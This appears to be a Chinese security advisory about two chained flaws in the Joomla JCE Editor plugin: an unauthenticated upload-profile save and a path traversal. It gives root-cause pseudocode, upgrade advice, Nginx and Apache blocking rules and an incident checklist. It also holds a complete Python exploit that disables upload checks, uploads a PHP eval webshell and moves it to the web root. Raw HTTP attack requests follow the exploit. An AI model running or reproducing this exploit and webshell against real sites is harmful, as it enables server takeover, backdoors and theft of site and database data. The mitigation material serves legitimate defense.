JoomlaJCEEditor双高危漏洞预警(CVE-2026-48907/CVE-2026-48908)"

admin 2026-10-20 15:13:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Joomla JCE Editor 双高危漏洞预警(CVE-2026-48907 / CVE-2026-48908)

飓风网络安全

2026年6月23日 22:33
北京

在小说阅读器读本章

去阅读

一、漏洞对象:Joomla 第三方主流编辑器插件 JCE Editor(jce)

二、漏洞原理深度拆解
2.1 CVE-2026-48907 根因分析

JCE Editor 的编辑器配置保存接口 profiles.save 缺少全局身份校验中间件:

  1. 正常逻辑:仅后台管理员可新建/编辑编辑器配置文件(profile);

  2. 缺陷代码:控制器未校验 $user->authorise('core.manage', 'com\_jce'),任意匿名访问者可POST调用保存接口;

  3. 配置可控项包含 文件上传白名单、MIME校验、文件大小限制;攻击者可构造恶意配置:

清空上传黑名单,添加 .php, .phtml, .phar 至允许后缀;

关闭文件内容校验、MIME头校验、图片二次渲染检测;

  1. 保存恶意配置后,调用文件上传接口即可无限制上传PHP脚本,完成远程代码执行。
    源码缺陷伪代码(简化):
    // 漏洞代码 /components/com\_jce/controllers/profile.php
    public function save() {
    // 缺失管理员权限校验
    $data = $this->input->getArray();
    $model = $this->getModel('Profile');
    $model->save($data); // 直接保存可控上传规则
    }
    2.2 CVE-2026-48908 根因分析
    文件上传接口未对上传文件名做路径标准化过滤,未拦截 ../ 目录穿越字符:
  2. 上传请求中 filename 参数可控,可传入 ../configuration.php;

  3. 后端直接拼接路径 $upload\_dir . $filename,未调用 realpath() 规范化;

  4. 攻击者可覆盖网站核心配置文件、写入Webshell到网站根目录、覆盖管理员登录文件。

缺陷逻辑伪代码:
// 漏洞上传逻辑
$filename = $\_FILES['file']['name']; // 可控,携带../
$dest = JPATH\_SITE . '/media/jce/' . $filename;
move\_uploaded\_file($\_FILES['file']['tmp\_name'], $dest); // 无路径清洗
2.3 漏洞联动利用链路(完整入侵链)

  1. 匿名访问调用 profiles.save 创建恶意上传配置(CVE-48907);

  2. 调用文件管理器上传接口,上传PHP Webshell到网站media目录;

  3. 利用CVE-48908路径穿越,将Webshell移动至网站根目录;

  4. 覆盖 configuration.php 获取数据库账号,拖库、植入持久化后门、横向渗透服务器。

三、漏洞检测方法
3.1 手工检测Payload(GET)

检测48907权限绕过接口是否开放

GET /index.php?option=com\_jce&task=profiles.save HTTP/1.1
Host: target.com

检测插件版本

GET /components/com\_jce/jce.xml HTTP/1.1
返回xml中version < 2.9.60 即为受影响。
四、完整可执行PoC(Python3,授权渗透测试专用)

PoC功能说明
1. 自动创建恶意上传配置

  1. 上传PHP一句话Webshell

  2. 路径穿越移动后门至网站根目录(利用CVE-48908)

  3. 输出Webshell访问地址

JCE Editor CVE-2026-48907 + CVE-2026-48908 联合利用PoC

仅用于企业授权安全测试,非法使用后果自负

import requests
import argparse

session = requests.Session()

def create\_malicious\_profile(target\_url):
\"\"\"步骤1:未授权创建恶意编辑器配置,放开PHP上传限制 CVE-48907\"\"\"
save\_api = f\"{target\_url}/index.php?option=com\_jce&task=profiles.save\"
post\_data = {
\"id\": \"\",
\"title\": \"attack\_profile\",
\"upload\_extensions\": \"jpg,jpeg,gif,png,bmp,php,phtml,phar\",
\"upload\_mime\": \"\",
\"upload\_validate\": \"0\",
\"upload\_clean\": \"0\",
\"upload\_security\": \"0\",
\"upload\_maxsize\": \"52428800\"
}
resp = session.post(save\_api, data=post\_data, verify=False, timeout=10)
if resp.status\_code == 200:
print(\"[+] CVE-48907 配置创建成功,已放行PHP文件上传\")
return True
else:
print(\"[-] 配置创建失败,目标可能已修复或WAF拦截\")
return False

def upload\_webshell(target\_url):
\"\"\"步骤2:上传PHP一句话后门\"\"\"
upload\_api = f\"{target\_url}/index.php?option=com\_jce&task=filemanager.upload\"
webshell\_code = b'<?php eval($\_POST[\"cmd\"]); ?>'
files = {
'file': ('temp\_shell.php', webshell\_code, 'application/x-php')
}
upload\_data = {
\"folder\": \"/media/jce/\"
}
resp = session.post(upload\_api, files=files, data=upload\_data, verify=False, timeout=10)
if \"temp\_shell.php\" in resp.text:
print(\"[+] Webshell上传成功 /media/jce/temp\_shell.php\")
return \"/media/jce/temp\_shell.php\"
return None

def path\_traverse\_move(target\_url, shell\_path):
\"\"\"步骤3:路径穿越移动后门到网站根目录 CVE-48908\"\"\"
move\_api = f\"{target\_url}/index.php?option=com\_jce&task=filemanager.move\"
post\_data = {
\"source\": shell\_path,
\"destination\": \"../shell\_backdoor.php\" # 路径穿越至网站根目录
}
resp = session.post(move\_api, data=post\_data, verify=False, timeout=10)
print(\"[+] CVE-48908路径穿越执行完成,根目录后门地址:\")
print(f\" {target\_url}/shell\_backdoor.php\")
print(\"[!] 连接密码: cmd, POST传入参数执行系统命令\")

def main():
parser = argparse.ArgumentParser(description=\"CVE-2026-48907 + 48908 Joomla JCE Exploit PoC\")
parser.add\_argument(\"-u\", \"--url\", required=True, help=\"目标Joomla站点,例 http://127.0.0.1/joomla\")
args = parser.parse\_args()
target = args.url.rstrip(\"/\")
print(f\"[\*] 开始攻击目标: {target}\")
if create\_malicious\_profile(target):
shell = upload\_webshell(target)
if shell:
path\_traverse\_move(target, shell)
else:
print(\"[-] 文件上传失败,目标存在上传拦截\")

if \\_name\\ == \"\\main\\_\":
requests.packages.urllib3.disable\_warnings()
main()

PoC使用命令
python3 jce\_exploit.py -u http://192.168.10.10/joomla

四、手动HTTP攻击数据包

1)创建恶意配置 POST包
POST /index.php?option=com\_jce&task=profiles.save HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

id=&title=exp&upload\_extensions=jpg,png,php,phtml&upload\_validate=0&upload\_security=0
2)路径穿越移动文件
POST /index.php?option=com\_jce&task=filemanager.move HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

source=/media/jce/a.php&destination=../root\_shell.php
五、风险影响面分析
1. 覆盖范围:JCE Editor是Joomla生态装机量TOP3编辑器,政企、教育、中小企业建站系统大量使用;

  1. 攻击门槛极低:无认证、无交互、全自动化扫描利用,勒索软件团伙、挖矿木马已批量采集漏洞资产;

  2. 衍生风险:
    上传后门持久控制服务器,横向渗透内网;

篡改网站页面、植入黑帽SEO、钓鱼页面;

覆盖数据库配置文件窃取客户数据;

植入病毒挖矿、反弹Shell接入僵尸网络。

六、修复与缓解方案(生产环境落地)
6.1 永久修复(推荐)
1. Joomla后台扩展管理,升级 JCE Editor ≥ 2.9.60;

  1. 升级后清空网站缓存、删除media/jce目录下未知php文件;

  2. 重置网站管理员、数据库账号密码。
    6.2 临时缓解(无法立刻升级场景)

方案1:Nginx拦截攻击接口配置
location ~\* /index\.php\?option=com\_jce&task=(profiles\.save|filemanager\.(upload|move)) {
deny all;
}
方案2:Apache .htaccess防护规则
RewriteEngine On
RewriteCond %{QUERY\_STRING} option=com\_jce&task=profiles.save [OR]
RewriteCond %{QUERY\_STRING} option=com\_jce&task=filemanager.upload
RewriteRule ^ - [R=403,L]
方案3:后台权限限制

• 若业务允许,直接禁用com\_jce组件;

• 限制网站media目录PHP执行权限(Nginx/Apache禁止media目录解析php)。

6.3 事后入侵排查清单

  1. 全盘检索 .php 文件,重点扫描 /media/jce/、网站根目录;

  2. 校验 configuration.php 修改时间,核对数据库账号;

  3. 查看Joomla管理员新增账号、异常登录日志;

  4. 服务器排查定时任务、crontab、后门进程、反弹连接。


2026FIC决赛(linux服务器部分)" 网络安全文章

2026FIC决赛(linux服务器部分)"

本文记录了2026年FIC决赛Linux服务器部分的解题过程,涉及阿里云/腾讯云服务器配置、Docker容器管理、数据库解密与还原、OpenClaw工具使用等技术要点。关键发现包括通过环境变量获取API密钥、使用密码管理器解密数据库、分析订单数据完成取证要求,并提供了完整的网站部署和数据分析操作流程。
CyberStrikeAI社区用户实战反馈精选" 网络安全文章

CyberStrikeAI社区用户实战反馈精选"

本文总结授权测试实战成果,涵盖CDN接管、服务器提权、赌博平台控制及Web连环漏洞等发现。文章展示从API未授权、JWT泄露到数据导出的完整攻击链,揭示严重安全风险,建议企业加强API权限管控、密钥保护及业务逻辑审计。
评论:0   参与:  0